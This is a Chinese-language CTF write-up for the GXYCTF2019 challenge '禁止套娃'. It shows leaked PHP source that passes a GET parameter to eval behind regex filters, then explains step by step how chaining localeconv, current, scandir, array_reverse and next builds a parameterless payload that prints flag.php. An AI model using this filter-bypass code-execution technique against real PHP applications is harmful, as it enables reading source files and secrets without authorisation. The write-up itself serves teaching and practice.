zoukankan      html  css  js  c++  java
  • [GXYCTF2019]禁止套娃

    拿到这道题,抓包看了看,啥也没有,考虑用dirsearch爆破目录,未果,忍不住看了下大佬的wp,原来是./git源码泄露,当然这并没有完,精彩的还在后面呢,我们来看一下这道题

    前言

    本题主要用到5个函数

    1.localeconv() 返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
    2.current() 返回数组中的当前单元, 默认取第一个值。
    3.scandir() 可以扫描当前目录下的文件
    4.array_reverse() 以相反的元素顺序返回数组
    5.next() 将内部指针指向数组的下一个元素,并返回结果

    题目

    打开题目就是个这

     用dirsearch爆破目录未果,用githack探测发现有index.php这个文件

     分析

     1 <?php
     2 include "flag.php";
     3 echo "flag在哪里呢?<br>";
     4 if(isset($_GET['exp'])){
     5     if (!preg_match('/data://|filter://|php://|phar:///i', $_GET['exp'])) {
     6         if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp'])) {
     7             if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
     8                 // echo $_GET['exp'];
     9                 @eval($_GET['exp']);
    10             }
    11             else{
    12                 die("还差一点哦!");
    13             }
    14         }
    15         else{
    16             die("再好好想想!");
    17         }
    18     }
    19     else{
    20         die("还想读flag,臭弟弟!");
    21     }
    22 }
    23 // highlight_file(__FILE__);
    24 ?>

    分析源码

    1.需要以GET形式传入一个名为exp的参数。如果满足条件会执行这个exp参数的内容。
    2.过滤了常用的几个伪协议,不能以伪协议读取文件。
    3.(?R)引用当前表达式,后面加了?递归调用。只能匹配通过无参数的函数。
    4.正则匹配掉了et/na/info等关键字,很多函数都用不了。
    5:eval($_GET['exp']); 典型的无参数RCE

    关键点还是在这句代码中

    if(';' === preg_replace('/[a-z,_]+((?R)?)/', NULL, $_GET['exp']))

    我们先来分析一下正则

    它其实大体上就匹配的是一个函数,就例如a();

    注意正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用

    最后替换后就是个;

    所以exp必须要是a(b());这种类型的才可

    既然getshell基本不可能,那么考虑读源码
    看源码,flag应该就在flag.php
    我们想办法读取

    首先需要得到当前目录下的文件
    scandir()函数可以扫描当前目录下的文件,例如:

    <?php
    print_r(scandir('.'));
    ?>

    那么问题就是如何构造
    scandir('.')
    这里再看函数:

    localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
    current() 返回数组中的当前单元, 默认取第一个值。
    pos() current() 的别名。
    这里还有一个知识点:

    current(localeconv())永远都是个点

    那么我们第一步就解决了:

    print_r(scandir(current(localeconv())));

    现在的问题就是怎么读取倒数第二个数组呢?

    这里主要用到两个函数next()和array_reverse()

    next()

    arrar_reverse()

    scandir函数的返回值是一个数组,如果把数组逆序排列,再用一个next不就可以了吗,highlight_file输出,payload:

    最后的payload

    ?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
  • 相关阅读:
    EXCEL中用VLOOKUP功能,根据A列的值,把B列也填充上对应的值
    ReNamer批量重命名文件,如何给杂乱无章的文件名重新命名
    小米手机亲情守护(风筝守护)怎么解绑?
    PHP正则表达式遇到的一个utf8乱码坑
    筹米网你用过没?是套路还是真能帮你提前抢购域名?
    CSS选取第一个、最后一个、偶数、奇数、第n个标签元素
    winscp会话超时及尝试关闭优化连接缓冲大小
    Linux下压缩和解压
    一步一步学Linux下vi/vim的使用(案例比纯理论好学)
    Linux使用find命令,搜索文件名中带有通配符*,报错: paths must precede expression
  • 原文地址:https://www.cnblogs.com/zzjdbk/p/13720677.html
Copyright © 2011-2022 走看看